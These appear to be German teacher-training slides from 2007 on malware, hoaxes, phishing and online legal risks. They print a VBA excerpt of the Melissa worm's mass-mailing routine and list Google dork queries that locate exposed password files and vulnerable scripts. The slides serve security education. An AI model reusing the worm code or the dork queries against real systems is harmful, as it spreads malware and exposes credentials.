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Virus

Programm

Selbst-Reproduzierend

Infizierend, benötigt Wirt

Mit oder 
ohne Schadensfunktion

Rot:  Routinen des Virus
Blau: Routinen des Betriebssystems
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Virus Construction Kits
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Neue Wirte



Jochen KoubekGI-IBBB 2007 08. März 2007

Würmer

Selbst-reproduzierend

Nicht-infizierend 

Mailwürmer

Der Tape-Worm des 

Schockwellenreiters war 

Namensgeber des 

ComputerwurmsOft ebenfalls als «Virus» bezeichnet
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Wurm – Melissa
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... 
by Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... 
by Kwyjibo"
End If



Aufklärung oder Verführung?



Jochen KoubekGI-IBBB 2007 08. März 2007

Epidemie
Code Red, 2001
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Top Ten 2007
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Hoax

Februar 2007



Jochen KoubekGI-IBBB 2007 08. März 2007

Hoax Beispiel 1/3

Der Aufhänger

       

> Subject: Viruswarnung

>

> V I R U S W A R N U N G !

>

> Es wurde gerade ein neues Virus festgestellt, den Microsoft und

> McAfee als den bisher gefährlichsten Virus überhaupt bezeichnen!

>

> Dieses Virus wurde erst am Freitag nachmittag von McAfee

> festgestellt und wird noch nicht von Virenscannern erkannt. Das

> Virus zerstört den Null-Sektor der Festplatte, wo wichtige

> Informationen für die Funktion der Festplatte gespeichert sind.
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Hoax Beispiel 2/3
Die Drohung

       

> Die Funktionsweise des Virus ist wie folgt:

>

> Das Virus versendet sich automatisch an alle Kontaktadressen

> aus dem  Email-Adressbuch und gibt als Betrefftext 

> "A Virtual Card for You" an.

>

> Sobald die vorgebliche virtuelle Postkarte geöffnet wird,

> bleibt der Rechner hängen, sodass der Anwender einen Neustart

> vornehmen muss.

>

> Wird nun  die Kombination [Strg]+[Alt]+[Del] oder der Reset-Knopf am

> Rechnergehäuse gedrückt, löscht das Virus den Null-Sektor der

> Festplatte, womit die Festplatte dauerhaft unbrauchbar ist. Wenn Sie

> also eine Nachricht mit dem Betreff  "A Virtual Card for You"

> erhalten, öffnen Sie diese mail KEINESFALLS, sondern löschen Sie die

> Nachricht sofort.

>

> Am Freitag hat dieses Virus Innerhalb weniger Stunden geradezu eine

> Panik unter EDV-Usern in New York verursacht, wie CNN  berichtet

> http://www.cnn.com <http://www.cnn.com

> <http://www.cnn.com<http://www.cnn.com> >> .
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Hoax Beispiel 3/3

Die Aufforderung

> Bitte leite das vorliegende Mail an alle Personen in Ihrem

> Email-Verzeichnis weiter. Es ist sicherlich besser, diese

> Nachricht 25 Mal zu erhalten, als gar nicht!
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Hoaxes/Kettenbriefe
Soziale Viren

Aufbau

Aufhänger

Drohung

Aufforderung

Erkennungsmerkmale

Technische Sprache

Glaubwürdigkeit durch Autorität

„Schick mich an Alle!“

Norman Rockwell, Gossip
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jdbgmgr.exe
Hallo Ihr,

mir hat leider jemand ein Virus geschickt, der sich automatisch an alle

im persönlichen Adressbuch aufgelisteten E-Mail-Adressen versendet.

Es ist also zu befürchten, dass alle, die! in meinem Adressbuch stehen,

nun dieses Virus auf ihrem C-Laufwerk sitzen haben.

Das Virus soll nach 14 Tagen aktiv werden und zerstört dann das

Betriebssystem.!

Es ist aber ganz leicht, ihn zu finden und ihn zu eleminieren:

1. Auf "start" klicken

2. Auf "Suchen" klicken

3. In "Suchen" auf Dateien/Ordner klicken und den Datei-Namen des Virus´

eingeben: jdbgmgr.exe

Achtung: Es muss im Laufwerk C überprüft werden

Das Virus hat einen grauen Teddybären als Icon.

4. Wenn es tatsächlich auf Laufwerk C gespeichert ist nicht öffnen,

sondern nur 1 x anklicken und sofort löschen.

5. Das muss dann auch unbedingt sofort im Papierkorb gemacht werden..

6 Jetzt ist das Virus auf deinem PC weg.
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Kettenbriefe

Pyramiden-Systeme (Schneeball-Systeme, 'Make Money Fast')

Gewinnspiele und Artverwandtes

Glücksbriefe

Tränendrüsen-Briefe (engl. "Charity Hoaxes") (s. o.)

Sinnlose E-Petitionen

Urban Legends
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Trojanische Pferde
Nicht-Reproduzierend

Nicht-Infizierend

Verdeckte Schadensroutine:

Daten löschen oder verändern

Password Sniffer

Keylogger

Backdoor 
(Back Orifice, NetBus)

dDOS

Spam

Spyware

Rootkit (Sony XCP Aurora)Der Träger (dropper) ist nicht der Schädling (payload)
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Netbus
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Spyware
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Browser Helper
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Advertising-supported software

Eudora Sponsored Mode
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Pop-Ups
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Sicherheitslöcher 2006

Top 5: 57% aller Sicherheitslöcher

XSS, Cross Side Scripting (13,9%)

Buffer Overflows (13,3 %)

SQL-Injections (8,7%)

Directory Traversal (4,7%)

PHP-Include (3,5%)

http://cwe.mitre.org/documents/vuln-trends.html
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Google Dorks

z.B.

filetype:htpasswd htpasswd

intitle:"Index of" master.passwd

intitle:"Index of" users.pwd

_vti_inf.html (694 hits)

service.pwd (11,800 hits)

users.pwd (23 hits)

authors.pwd (22 hits)

administrators.pwd (22 hits)

shtml.dll (780 hits)

shtml.exe (761 hits)

fpcount.exe (1,370 hits)

default.asp (2,170 hits)

showcode.asp (4 hits)

sendmail.cfm (5 hits)

getFile.cfm (7 hits)

imagemap.exe (510 hits)

test.bat (353 hits)

msadcs.dll (8 hits)

htimage.exe (513 hits)

counter.exe (164 hits)

browser.inc (11 hits)

hello.bat (18 hits)

default.asp\\ (2,170 hits)

dvwssr.dll (571 hits)

dvwssr.dll (571 hits)

dvwssr.dll (571 hits)

cart32.exe (9 hits)

add.exe (38 hits)

index.JSP (998 hits)

index.jsp (998 hits)

SessionServlet (46 hits)

shtml.dll (780 hits)

index.cfm (473 hits)

page.cfm (5 hits)

shtml.exe (761 hits)

web_store.cgi (16 hits)

shop.cgi (63 hits)

upload.asp (27 hits)

default.asp (2,170 hits)

pbserver.dll (6 hits)

phf (370 hits)

test-cgi (1,560 hits)

finger (23,900 hits)

Count.cgi (8,710 hits)

jj (5,600 hits)

php.cgi (170 hits)

php (48,000 hits)

nph-test-cgi (132 hits)

handler (9,220 hits)

webdist.cgi (35 hits)

webgais (37 hits)

websendmail (12 hits)

faxsurvey (27 hits)

htmlscript (50 hits)

perl.exe (340 hits)

wwwboard.pl (455 hits)

www-sql (26,500 hits)

view-source (641 hits)

campas (94 hits)

aglimpse (12 hits)

glimpse (4,530 hits)

man.sh (127 hits)

http://johnny.ihackstuff.com/index.php?module=prodreviews
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Botnets

Aufbau durch

Viren

Würmer

Trojanische Pferde

Sicherheitslöcher
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Distributed Denial of Service

1. Account Hacken

2. Ziele identifizieren

3. Rechner angreifen

4. dDOS Netzwerkfestlegung

5. Automatische Installation

6. Masterinstallation

7. Angriff
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Kompetenzen (Klasse 5-7)

Schülerinnen und Schüler beschreiben anhand einer Liste von E-Mails 
Auffälligkeiten (Adressen, Betreffs, Inhalt, Attachments).
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Schutz
Aufklärung

Backups anlegen

Keine dubiosen 

Attachments öffnen

Keine Kettenbriefe 

weiterleiten

Anti-Malware-Software

Firewall
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Teil II: Social Engineering
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Gewerbliche

Unverlangte

Massenhaft versendete

Elektronische Nachricht

Spam-Mails (Anteil an allen Mails in %)

Quelle: Messaglabs 2006 Annual Security Report



Jochen KoubekGI-IBBB 2007 08. März 2007

Phishing
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Angriff
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Merkmale
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Angebot
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419 Eater
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Teil III: Rechtliche Sicherheit
März 2005: Die Berliner Anwaltskanzlei 

Wollmann und Partner mahnen 

Websitebetreiber ab, die Songtexte 

bekannter Popstücke ohne kommerzielles 

Interesse veröffentlichen. Den 

Webmastern werden die Abmahnungen 

mit 1600 Euro pro Songtext in Rechnung 

gestellt. Insgesamt werden über 200 gleich 

lautende Abmahnungen verschickt, 

darunter auch an Schüler, die Fanseiten 

für ihre Lieblingsbands betreiben.

Oktober 2002: Hewlett-Packard mahnt 
einen 16-jährigen Schüler ab, der unter den 
Domains HP-World.de und HP-World.com 
Hinweise zum Bau von Home-Pages 

veröffentlicht.

Februar 2004: Ein 17-Jähriger Schüler erhält eine 
Abmahnung einer von der IFPI beauftragten 
Anwaltskanzlei, weil er auf E-Bay ältere Computer-
Bild-CD-ROMs anbot, die genauso alte Programme 
enthielten, mit denen kopiergeschützte Medien 
kopiert werden können, was seit dem neuen 
Urheberrechtgesetz verboten ist.
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